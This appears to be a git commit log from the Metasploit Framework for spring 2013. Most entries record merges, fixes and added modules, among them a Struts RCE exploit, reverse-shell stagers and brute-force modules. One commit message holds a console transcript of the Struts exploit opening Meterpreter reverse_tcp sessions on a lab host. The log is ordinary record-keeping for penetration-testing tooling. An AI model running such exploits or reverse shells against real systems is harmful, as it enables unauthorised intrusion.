sinn3r 937d7fb762 Landing #1835 - Fix a backwards disasm bug which stomps on the depth opt 2013-05-31 16:28:49 -05:00
sinn3r df2140ea59 Add back the tmp include check according to bannedit's feedback 2013-05-31 16:26:52 -05:00
sinn3r dacc73a60f Improve readability based on Egypt's feedback 2013-05-31 16:24:27 -05:00
sinn3r 90117c322c Landing #1874 - Post API cleanup 2013-05-31 16:15:23 -05:00
sinn3r e99401ea82 Landing #1817 - couchdb login module 2013-05-31 16:04:10 -05:00
sinn3r a88321c700 Final touchup 2013-05-31 16:03:30 -05:00
sinn3r 483b5e204f Missing the header 2013-05-31 16:00:36 -05:00
sinn3r e398025a7f I don't think what fails really matters. 2013-05-31 15:59:40 -05:00
jvennix-r7 eb2e735a36 Merge pull request #1865 from limhoff-r7/bug/module-load-cache-update
Update in-memory cache to fix file_changed? bug.
2013-05-31 13:21:04 -07:00
James Lee 4f6d80c813 Land #1804, user-settable filename for psexec 2013-05-31 13:34:52 -05:00
James Lee 5964d36c40 Fix a syntax error
Also uses a prettier syntax for setting the filename (ternary operators
are hard to read).
2013-05-31 13:31:36 -05:00
jvazquez-r7 48b14c09e3 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-31 01:12:46 -05:00
jvazquez-r7 146a30ec4d Do minor cleanup for struts_include_params 2013-05-31 01:01:15 -05:00
jvazquez-r7 a7a754ae1f Land #1870, @Console exploit for Struts includeParams injection 2013-05-31 00:59:33 -05:00
Tod Beardsley 9c771435f2 Touchup on author credit 2013-05-30 16:13:40 -05:00
Tod Beardsley dc014ede36 Land #1821, x64_reverse_https payload 2013-05-30 16:09:33 -05:00
jvazquez-r7 70037fdbed Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-30 15:02:34 -05:00
jvazquez-r7 d0489b5d1e Delete some commas 2013-05-30 14:25:53 -05:00
jvazquez-r7 6abb591428 Do minor cleanup for lianja_db_net 2013-05-30 14:25:05 -05:00
jvazquez-r7 38e5c2bed2 Land #1877, @zeroSteiner's exploit for Lianja SQL 2013-05-30 14:23:45 -05:00
jvazquez-r7 ea723cec26 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-30 13:57:42 -05:00
Tod Beardsley 67128a3841 Land #1821, x64_reverse_https stagers 2013-05-30 13:55:13 -05:00
Luke Imhoff cc60c95243 Rescue Errno::ENONENT when using File.mtime for memory cache
[#47720609]
2013-05-30 13:16:43 -05:00
Luke Imhoff e0e348a17e Specs to ensure File.mtime error is caught.
[#47720609]
2013-05-30 13:09:40 -05:00
Luke Imhoff 541d287e70 Merge branch 'master' into bug/module-load-cache-update 2013-05-30 12:59:50 -05:00
Console eb4162d41b boolean issue fix 2013-05-30 18:15:33 +01:00
lsanchez-r7 8b488c3c6b Merge pull request #1866 from dmaloney-r7/bug/mdm_session_port
Add session_port to the mdm object

SEERM #7281
2013-05-30 10:05:48 -07:00
Console 5fa8ecd334 removed magic number 109
now calculated from the actual length of all static URL elements
2013-05-30 17:40:43 +01:00
Spencer McIntyre 70e1379338 Use msvcrt in ropdb for stability. 2013-05-30 11:13:22 -04:00
Console 47524a0570 converted request params to hash merge operation 2013-05-30 15:36:01 +01:00
Console 51879ab9c7 removed unnecessary lines 2013-05-30 15:15:10 +01:00
Console abb0ab12f6 Fix msftidy compliance 2013-05-30 13:10:24 +01:00
Console 5233ac4cbd Progress bar instead of message spam. 2013-05-30 13:08:43 +01:00
Bruno Morisson d03379f1c6 changed 2 vprint_error to print_error 2013-05-30 11:54:42 +01:00
Console fb388c6463 Chunk length is now "huge" for POST method
minor changes to option text and changed HTTPMETHOD to an enum.
2013-05-30 11:30:24 +01:00
Console ab6a2a049b Fix issue with JAVA meterpreter failing to work.
Was down to the chunk length not being set correctly.
Still need to test against windows.

```
msf exploit(struts_include_params) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows Universal
   1   Linux Universal
   2   Java Universal

msf exploit(struts_include_params) > set target 1
target => 1
msf exploit(struts_include_params) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(struts_include_params) > exploit

[*] Started reverse handler on 192.168.0.2:4444
[*] Preparing payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.0.1
[*] Meterpreter session 5 opened (192.168.0.2:4444 -> 192.168.0.1:38512) at 2013-05-30 10:37:54 +0100
[+] Deleted /tmp/57mN5N

meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Linux localhost.localdomain 2.6.32-358.2.1.el6.x86_64 #1 SMP Wed Mar 13 00:26:49 UTC 2013 (x86_64)
Architecture : x86_64
Meterpreter  : x86/linux
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.0.1 - Meterpreter session 5 closed.  Reason: User exit
msf exploit(struts_include_params) > set target 2
target => 2
msf exploit(struts_include_params) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf exploit(struts_include_params) > exploit

[*] Started reverse handler on 192.168.0.2:4444
[*] Preparing payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending stage (30246 bytes) to 192.168.0.1
[*] Meterpreter session 6 opened (192.168.0.2:4444 -> 192.168.0.1:38513) at 2013-05-30 10:38:27 +0100
[!] This exploit may require manual cleanup of: z4kv.jar

meterpreter > sysinfo
Computer    : localhost.localdomain
OS          : Linux 2.6.32-358.2.1.el6.x86_64 (amd64)
Meterpreter : java/java
meterpreter > exit
[*] Shutting down Meterpreter...
```
2013-05-30 10:35:29 +01:00
Console d70526f4cc Renamed as per suggestion 2013-05-30 09:29:26 +01:00
jvazquez-r7 3361a660ba Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-29 22:01:36 -05:00
Roberto Soares Espreto 00debd01c6 Listen for a connection and spawn a command shell via AWK 2013-05-29 21:22:49 -03:00
Roberto Soares Espreto d4a864c29f Creates an interactive shell via AWK (reverse) 2013-05-29 21:19:08 -03:00
Roberto Soares Espreto 07203568bd Performed changes to the correct operation of the module. 2013-05-29 20:50:28 -03:00
jvazquez-r7 07c99f821e Land #1879, @dcbz ARM stagers 2013-05-29 17:43:37 -05:00
Bruno Morisson 612eabd21a added sap_router_portscanner module 2013-05-29 23:36:53 +01:00
Tod Beardsley fff51e2e0c Land #1882, fix for CVE search from @jlee-r7 2013-05-29 17:00:32 -05:00
James Lee 12f0448bb4 Use a LIKE test instead of equality
Fixes the ability to search for CVE (as well as other reference types)
with a non-exact match

[SeeRM #7989]
2013-05-29 16:27:33 -05:00
jvazquez-r7 9d91596e46 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-29 16:21:32 -05:00
jvazquez-r7 f76a50ae38 Land #1881, @todb's fix for Redmine Bug 7991 2013-05-29 16:17:18 -05:00
jvazquez-r7 1d0c4151b7 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-29 15:29:26 -05:00
Tod Beardsley e7a1f06fbc Modules shouldn't be +x 2013-05-29 15:11:35 -05:00
dcbz 8b8fb9f5ae Merge pull request #1 from jvazquez-r7/arm_stagers
ARM stagers cleanup
2013-05-29 13:07:46 -07:00
jvazquez-r7 7c41e239b4 Fix author name 2013-05-29 14:19:10 -05:00
jvazquez-r7 e6433fc31e Add commented source code for stagers and stage 2013-05-29 14:03:46 -05:00
jvazquez-r7 52aae8e04c Add small fixes for stagers 2013-05-29 14:01:59 -05:00
Tod Beardsley 10d8bebe73 Start with a random username to test 401 codes
SeeRM #7991

While this fixes the specific case of tomcat_mgr_login, it doesn't
address the general case where modules are attempting to test code 401
responses in order to determine if bruteforcing should continue.
2013-05-29 12:36:28 -05:00
jvazquez-r7 aa688c4313 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-29 10:47:04 -05:00
Console 7c38324b76 Considered using the bourne stager.
Decided against it as current implementation of JAVA base64
encode/decode appears to be more OS agnostic and robust.
Tidied up a few lines of code and added some more output.
2013-05-29 14:21:23 +01:00
Spencer McIntyre c3ab1ed2a5 Exploit module for Lianja SQL 1.0.0RC5.1 2013-05-29 08:48:41 -04:00
Console ec315ad50d Modified URI handling to make use of target_uri and vars_get/post.
Added support for both GET and POST methods as both are vulnerable to
this exploit.
2013-05-29 12:56:34 +01:00
dcbz 2c0f0f5f04 Changed reverse payload as suggested. 2013-05-28 21:52:16 -05:00
dcbz 07c3565e3c Made changes as suggested, forgot to remove exit() after testing was complete. 2013-05-28 21:31:36 -05:00
jvazquez-r7 6401d557fd Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-28 19:57:16 -05:00
Console b39531cea6 Added references 2013-05-28 23:15:10 +01:00
James Lee f3ff5b5205 Factorize and remove includes
Speeds up compilation and removes dependency on bionic source
2013-05-28 15:46:06 -05:00
James Lee 0466cce7b1 Move PostMixin to its own file
Also replaces dead code in lib/msf/core/exploit/local.rb with what was
actually being used for the Exploit::Local class that lived in
lib/msf/core/exploit.rb.
2013-05-28 15:46:06 -05:00
jvazquez-r7 66ea59b03f Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-28 15:22:46 -05:00
Console 7b43117d87 Added RCE for Struts versions earlier than 2.3.14.2
Heavily based upon my previous module for parameters
interceptor based RCE.
Tested against the POC given at the reference website successfully.
2013-05-28 18:26:57 +01:00
Matt Andreko 5695994432 Added module to enumerate Canon printer Wifi settings 2013-05-27 18:02:37 -04:00
jvazquez-r7 094a5f1b18 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-26 16:03:33 -05:00
David Maloney 849d974463 Add session_port to the mdm object
Mdm::Session was not being passed the session_port
FIXRM #7281
2013-05-24 17:46:03 -05:00
Luke Imhoff 4ba571346e Spec Msf::Simple::Framework#init_module_paths
[#47720609]
2013-05-24 12:33:42 -05:00
Luke Imhoff c22178752e Merge branch 'master' into bug/module-load-cache-update 2013-05-24 11:06:16 -05:00
Luke Imhoff 1a487e476d Merge branch 'master' into bug/module-load-cache-update 2013-05-23 14:23:14 -05:00
jvazquez-r7 d5cf6c1fbc Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-23 12:37:54 -05:00
jvazquez-r7 8e41ae3454 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-23 10:59:40 -05:00
Luke Imhoff 2b70ec2e08 Payload compatible cache_in_memory
[#47720609]

Msf::PayloadSet#add_module does NOT return an annotated module class as
Msf::ModuleSet#add_module does because a payload module is defined as a
ruby Module instead of a ruby Class.   Since add_module doesn't always
return an annotated_class, the logic in
Msf::ModuleManager#on_module_load needed to change to NOT use
annotated_class and create #add_module as return [void].  Thus, it is
necessary to pass in all the metasploit module metadata to
Msf::ModuleManager#cache_in_memory instead of assuming they can be
derived from the (payload) Module or (other) Class.
2013-05-22 16:06:02 -05:00
jvazquez-r7 23bc11c7e0 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-22 15:15:58 -05:00
jvazquez-r7 0dee5ae94d Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-22 12:54:44 -05:00
Luke Imhoff 57576de85f Update in-memory cache to fix file_changed?
[#47720609]

Msf::ModuleManager#module_info_by_path was not being updated when a
module was loaded, so if a load_module was called again, say during
start up of prosvc, the module would reload even though there was no
change in the file because file_changed? couldn't find an entry for the
module's path in module_info_by_path.
2013-05-22 12:28:42 -05:00
Luke Imhoff eede80509f Reuse appropriate terminology in docs
[#47720609]

Fix some docs and variable names to make it clearer when methods are
expecting module instance and module classes.  Change some 'name'
variables to 'reference_name' since that's the proper terminology.
2013-05-21 08:19:47 -05:00
jvazquez-r7 367e789047 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-20 18:49:38 -05:00
dcbz a53ab4cff9 Moved dupandexecve.rb to shell.rb due to pull request coments. 2013-05-20 17:05:57 -05:00
Luke Imhoff a70d63ebad Spec Msf::ModuleManager#on_module_load
[#47720609]
2013-05-20 14:52:37 -05:00
jvazquez-r7 8235ba6316 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-20 08:48:42 -05:00
jvazquez-r7 8a84ea8ab7 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-19 11:20:49 -05:00
agix b92ae7779e change author name 2013-05-19 16:16:25 +02:00
John Sherwood b22c5a0120 Add sorting functionality to cmd_notes
- Added sorting to cmd_notes
- Added make_sortable function so that sorts work happily even
  when the disparate notes don't have content of the same types
  in the fields the sort is requested over.
2013-05-17 23:02:38 -04:00
dcbz 9c0814505a Added reverse stager. 2013-05-17 21:52:10 -05:00
dcbz 14d5111b37 Added a sample stage + updated bind stager. 2013-05-17 21:03:03 -05:00
dcbz ad95eff9d4 added bind_tcp.rb 2013-05-17 12:09:45 -05:00
jvazquez-r7 e69f6a8482 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-17 09:59:21 -05:00
Dejan Lukan a47b69c71a Added CVE-2013-0230 for MiniUPnPd 1.0 stack overflow vulnerability 2013-05-17 14:17:38 +02:00
Dejan Lukan 945dde3389 Added CVE-2013-0229 for MiniUPnPd < 1.4 2013-05-17 13:58:32 +02:00
jvazquez-r7 96fcb89f94 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-16 17:08:10 -05:00
jvazquez-r7 0f3b13e21d up to date 2013-05-16 15:02:41 -05:00
jvazquez-r7 947735bd25 up to date 2013-05-16 11:26:50 -05:00
jvazquez-r7 8a18853dfa Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-15 21:35:59 -05:00
bannedit 031bb2eb0b Fix a backwards disasm bug which stomps on the depth option 2013-05-15 22:08:50 -04:00
jvazquez-r7 62168f732f Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-15 17:22:08 -05:00
jvazquez-r7 cb24d3ddae Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-15 11:13:29 -05:00
jvazquez-r7 011b0bb741 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-15 09:07:47 -05:00
jvazquez-r7 352a7afcd6 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-14 22:29:24 -05:00
jvazquez-r7 500ef5df13 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-14 14:49:05 -05:00
jvazquez-r7 83f1418f28 up to date 2013-05-14 14:48:58 -05:00
jvazquez-r7 07b3355a17 Merge branch 'sap_ctc_verb_tampering_add_user_and_add_role' of https://github.com/nmonkee/metasploit-framework 2013-05-14 13:47:39 -05:00
jvazquez-r7 b9caa23b30 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-14 12:26:23 -05:00
Roberto Soares Espreto 3d7c9a9a06 Changed the path from TARGETURI 2013-05-14 00:11:40 -03:00
Borja Merino eb46b09708 Timeout condition change 2013-05-14 00:35:42 +02:00
jvazquez-r7 1d755eb705 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-13 12:49:32 -05:00
jvazquez-r7 d6226f5bc9 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-13 10:47:09 -05:00
agix 6db1fea6b9 create x64_reverse_https stagers 2013-05-13 01:41:56 +02:00
jvazquez-r7 51a532e8b4 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-12 17:39:58 -05:00
jvazquez-r7 01ce751c51 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-12 17:08:14 -05:00
root b8826396ee Cosmetic changes 2013-05-12 23:03:28 +02:00
root ba5d6fc259 Added post module to get a MITM through a pptp tunnel 2013-05-12 16:27:43 +02:00
Roberto Soares Espreto 7a7f4a1727 Added couchdb_login.rb to try to brute-force credentials of CouchDB 2013-05-10 23:16:11 -03:00
jvazquez-r7 891e36c947 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-09 17:47:35 -05:00
jvazquez-r7 ca41d859a9 up to date 2013-05-09 13:00:10 -05:00
jvazquez-r7 e711474654 Merge branch 'sap_soap_xmla_bw_smb_relay_' of https://github.com/nmonkee/metasploit-framework 2013-05-09 12:37:46 -05:00
jvazquez-r7 823d89935a Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-09 12:36:43 -05:00
Rob Fuller 95b0d4e5ec move filename init up to remove dup code
as suggested by @jlee-r7
2013-05-09 13:29:21 -04:00
jvazquez-r7 1c395666c5 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-08 21:43:55 -05:00
jvazquez-r7 866fa167ab Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-08 16:29:52 -05:00
Rob Fuller 71c68d09c1 Allow user ability to set filename for psexec service binary
This should probably be higher up for all
generate_payload_exe but would take a major edit
2013-05-07 15:26:22 -03:00
jvazquez-r7 08351198ef Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-07 09:33:22 -05:00
jvazquez-r7 a1d2680a17 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-06 23:24:21 -05:00
jvazquez-r7 bcdad23559 up to date 2013-05-06 23:09:32 -05:00
jvazquez-r7 0fa65a6802 Merge branch 'sap_soap_rfc_sxpg_command_exec' of https://github.com/nmonkee/metasploit-framework 2013-05-06 18:50:31 -05:00
jvazquez-r7 ad21a107ec up to date 2013-05-06 15:48:59 -05:00
jvazquez-r7 fcb9dc1384 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-06 15:40:22 -05:00
jvazquez-r7 425a16c511 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-05 22:00:07 -05:00
jvazquez-r7 2384f34ada Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-03 15:39:16 -05:00
jvazquez-r7 796f7a39ac Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-02 20:04:48 -05:00
jvazquez-r7 0b4b754136 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-02 19:32:31 -05:00
jvazquez-r7 9e1037bce0 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-02 16:15:28 -05:00
jvazquez-r7 b096449a97 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-02 15:12:19 -05:00
jvazquez-r7 29d4e378aa Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-02 09:27:51 -05:00
jvazquez-r7 ec34544299 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-01 11:47:36 -05:00
jvazquez-r7 d1ebd0b0db Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-30 13:44:00 -05:00
Gregory Man 76e70adcff Added Memcached Remote Denial of Service module
https://code.google.com/p/memcached/issues/detail?id=192
2013-04-30 17:45:09 +03:00
jvazquez-r7 a7e4ba5015 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-30 08:32:24 -05:00
jvazquez-r7 a4632b773a Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-28 12:59:16 -05:00
jvazquez-r7 2a41422276 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-25 20:24:17 -05:00
jvazquez-r7 7bf4aa317f Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-25 10:31:51 -05:00
jvazquez-r7 38e41f20fe Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-24 13:24:13 -05:00
jvazquez-r7 1761b1ad7b Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-23 17:35:35 -05:00
jvazquez-r7 96b66d3856 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-22 21:49:59 -05:00
jvazquez-r7 5f5e772f7c Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-22 21:31:16 -05:00
jvazquez-r7 b6365db0b5 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-22 09:38:32 -05:00
Stephen Haywood f70ba7e4cf Merge pull request #1 from todb-r7/bug/pr1736-fix-db-import
Handle single quotes for OpenVAS import
2013-04-19 20:24:54 -07:00
jvazquez-r7 d1c5179b83 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-19 17:48:12 -05:00
Tod Beardsley 861ac79812 Handle single quotes for OpenVAS import 2013-04-19 16:27:28 -05:00
jvazquez-r7 ffb71ff61b Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-19 16:03:55 -05:00
jvazquez-r7 d4fa2ba96d Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-19 14:14:36 -05:00
Nathan Einwechter f8fc05bbf9 streamline var assignment 2013-04-18 17:05:28 -04:00
Nathan Einwechter c758831962 streamline var assignment 2013-04-18 17:04:03 -04:00
Nathan Einwechter d9187056c8 msftidy 2013-04-18 13:14:26 -04:00
Nathan Einwechter 288111be4e Fixes RM7883 along with related issue
modified:   lib/msf/ui/console/command_dispatcher/db.rb
2013-04-18 13:08:32 -04:00
jvazquez-r7 bbf7cc4394 up to date 2013-04-17 11:54:12 -05:00
jvazquez-r7 48def7dbdb up to date 2013-04-17 06:36:44 -05:00
jvazquez-r7 088eb8618d Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-16 21:11:55 -05:00
Jon Hart 83ec9757ec Addressed feedback from PR#1717 2013-04-16 19:00:26 -07:00
AverageSecurityGuy 1bc90a6922 Fixed issue downloading XML reports
The XML report has an extra </report> tag which prevents the .text
method from working properly. I used the .to_s method instead.

I also moved the rescue statement because it was masking other errors
that were being raised.
2013-04-16 21:41:34 -04:00
jvazquez-r7 cc35591723 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-15 17:43:15 -05:00
jvazquez-r7 0e08bdfeb5 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-12 02:11:15 +02:00
RageLtMan 1e93ae65e3 fix typo in parameters 2013-04-11 19:12:32 -04:00
RageLtMan 5ac18e9156 commant update 2013-04-11 19:11:25 -04:00
RageLtMan 6eb33ae5ed Rex::Socket::SslTcp set cipher and verify_mode
Update Rex::Socket::SslTcp to accept verification mode string from
Rex::Socket::Parameters, which has been modified accordingly.
Add SSLVerifyMode and SSLCipher options (params and socket work
were done before, but the option was not exposed) to
Msf::Exploit::Tcp.

Testing:
```
>> sock = Rex::Socket::Tcp.create('PeerHost'=>'10.1.1.1','PeerPort'
=>443,'SSL' => true, 'SSLVerifyMode' => 'NONE')
>> sock.sslctx.verify_mode
=> 0
>> sock.close
=> nil
>> sock = Rex::Socket::Tcp.create('PeerHost'=>'10.1.1.1','PeerPort'
=>443,'SSL' => true, 'SSLVerifyMode' => 'PEER')
=> #<Socket:fd 13>
>> sock.sslctx.verify_mode
=> 1
```

Note: this should be able to resolve the recent SSL socket hackery
of exploit/linux/misc/nagios_nrpe_arguments.
2013-04-11 18:00:33 -04:00
jvazquez-r7 9c0862ad7b Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-11 21:53:07 +02:00
jvazquez-r7 4959e03864 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-10 11:29:37 +02:00
jvazquez-r7 1d4096cc19 Merge branch 'dlink_dir645_command_exec_noauth' of https://github.com/m-1-k-3/metasploit-framework into m-1-k-3-dlink_dir645_command_exec_noauth 2013-04-10 09:15:06 +02:00
jvazquez-r7 2ab7552a85 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-10 09:11:41 +02:00
Tod Beardsley 0d2746fb4c defs should have parens when taking args
While it's allowed in ruby to drop most parens, many are useful for
readability.

Also adds a missing CVE.
2013-04-09 17:57:52 -05:00
Tod Beardsley 90e986860e Adding most suggested changes to jhart's adobe module 2013-04-09 17:55:28 -05:00
jvazquez-r7 ba7603e66c Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-09 17:34:23 +02:00
jvazquez-r7 79620ed660 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-09 17:12:16 +02:00
jvazquez-r7 0cef2f6453 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-09 12:51:15 +02:00
jvazquez-r7 ef63a4f5cf Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-08 21:29:01 +02:00
Melih SARICA e48cea432c added add_sub encoder for x86 payloads 2013-04-08 20:51:39 +03:00
jvazquez-r7 d65bf8bab9 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-08 18:19:41 +02:00
jvazquez-r7 9413774b85 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-06 17:49:28 +02:00
jvazquez-r7 2533d0b714 up to date 2013-04-06 17:25:12 +02:00
jvazquez-r7 6f1fb4a873 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-06 17:23:24 +02:00
jvazquez-r7 dccf0751a3 up to date 2013-04-05 11:41:10 +02:00
jvazquez-r7 2367c90e74 Merge branch 'hp_system_management_root' of https://github.com/agix/metasploit-framework 2013-04-05 11:18:18 +02:00
jvazquez-r7 d823f724cd Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-04 22:16:35 +02:00
jvazquez-r7 b75d038fc2 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-04 21:54:36 +02:00
jvazquez-r7 358c43f6f6 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-03 19:17:53 +02:00
jvazquez-r7 08b96f0186 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-03 15:39:30 +02:00
jvazquez-r7 6d957f3a4a Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-02 20:09:28 +02:00
jvazquez-r7 8e3d1c7c47 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-02 11:17:22 +02:00
jvazquez-r7 2936d3cfb1 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-01 21:50:29 +02:00
jvazquez-r7 070fd399f2 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-31 20:23:08 +02:00
jvazquez-r7 b43745fc83 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-30 15:33:52 +01:00
jvazquez-r7 224188ddf6 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-29 21:49:40 +01:00
jvazquez-r7 5616b8245b Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-29 11:59:33 +01:00
jvazquez-r7 e9842eac2e Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-28 15:18:41 +01:00
jvazquez-r7 3ffbc5e5b3 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-28 14:58:43 +01:00
jvazquez-r7 6cd6a7d6b9 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-28 12:16:18 +01:00
jvazquez-r7 6acc34ffcf Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-27 16:46:24 +01:00
nmonkee 507692c660 SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXECUTE Function Command Execution 2013-03-27 15:20:18 +00:00
jvazquez-r7 a82b7b1ee4 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-27 00:47:24 +01:00
jvazquez-r7 18559e35fc Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-26 19:50:45 +01:00
jvazquez-r7 d266d42788 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-26 12:20:05 +01:00
jvazquez-r7 787f8cc32f up to date 2013-03-26 12:18:53 +01:00
jvazquez-r7 6f5fc77019 up to date 2013-03-26 11:59:41 +01:00
jvazquez-r7 2d0a813aa6 Merge branch 'heyder-joomla' of https://github.com/heyder/metasploit-framework 2013-03-26 11:23:33 +01:00
jvazquez-r7 ae56bc0b37 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-26 11:21:16 +01:00
nmonkee 05e8e860d6 Merge pull request #4 from todb-r7/ni-proxy
Fix up the pack strings
2013-03-25 13:33:14 -07:00
jvazquez-r7 3c12459703 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-25 19:33:36 +01:00
jvazquez-r7 393d5d8bf5 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-25 19:09:42 +01:00
jvazquez-r7 2d5a0d6916 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-25 17:08:23 +01:00
jvazquez-r7 cb56b2de4b Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-23 20:06:05 +01:00
jvazquez-r7 de7a483dab Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-22 17:54:44 +01:00
jvazquez-r7 1e3466d809 up to date 2013-03-22 15:51:41 +01:00
jvazquez-r7 296f2e7c2c up to date 2013-03-21 22:10:18 +01:00
jvazquez-r7 9c1694e8a0 Merge branch 'struts-param-rce' of https://github.com/Console/metasploit-framework 2013-03-21 20:44:10 +01:00
jvazquez-r7 4f0be52a0d Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-21 17:10:58 +01:00
jvazquez-r7 b30a5aa6e8 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-21 09:07:41 +01:00
jvazquez-r7 189abdc650 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-20 19:28:16 +01:00
jvazquez-r7 44f07cef19 Merge branch 'linksys-e1500-e2500-exec' of https://github.com/m-1-k-3/metasploit-framework 2013-03-20 00:47:31 +01:00
jvazquez-r7 7391bc0201 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-20 00:46:10 +01:00
jvazquez-r7 80d218b284 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-19 19:55:51 +01:00
jvazquez-r7 7c90d0a125 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-19 08:52:56 +01:00
